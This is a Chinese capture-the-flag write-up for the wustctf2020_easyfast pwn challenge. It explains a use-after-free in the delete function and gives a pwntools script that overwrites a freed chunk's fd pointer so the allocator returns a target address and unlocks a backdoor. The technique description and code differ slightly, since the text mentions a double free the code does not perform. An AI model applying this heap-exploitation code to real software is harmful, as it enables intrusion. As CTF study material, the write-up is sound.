BUU wustctf2020_easyfast

wustctf2020_easyfast

这道题本来不想记录wp的,但这是我第一次不看任何wp写出来的题目,必须记录一下

保护检查

 没有relro与pie可直接用地址和got

流程分析

add函数,没有什么特别的

 delete函数,典型的悬挂指针,可以uaf

 edit函数,唯一特别的是只能输入1个字节

 call_sys函数,后门函数满足条件即可

 

 漏洞利用

  1. 申请两个0x40的堆大小,然后构造double free
  2. 由于edit没检查,直接修改0 chunk的fd指针,使其指向0x602080,再调用后门函数即可

exp

from pwn import *

#p=process('./wustctf2020_easyfast')
p=remote('node3.buuoj.cn',25981)
libc=ELF('libc-2.23.so')

def add(size):
    p.recvuntil('choice>')
    p.sendline('1')
    p.recvuntil('size>')
    p.sendline(str(size))

def delete(idx):
    p.recvuntil('choice>')
    p.sendline('2')
    p.recvuntil('index>')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('choice>')
    p.sendline('3')
    p.recvuntil('index>')
    p.sendline(str(idx))
    p.sendline(content)

ptr=0x602080

add(0x40)
add(0x40)
delete(0)
edit(0,p64(ptr))

add(0x40)
add(0x40)
#gdb.attach(p)
edit(3,p64(0))


p.interactive()
原文地址:https://www.cnblogs.com/pppyyyzzz/p/13966196.html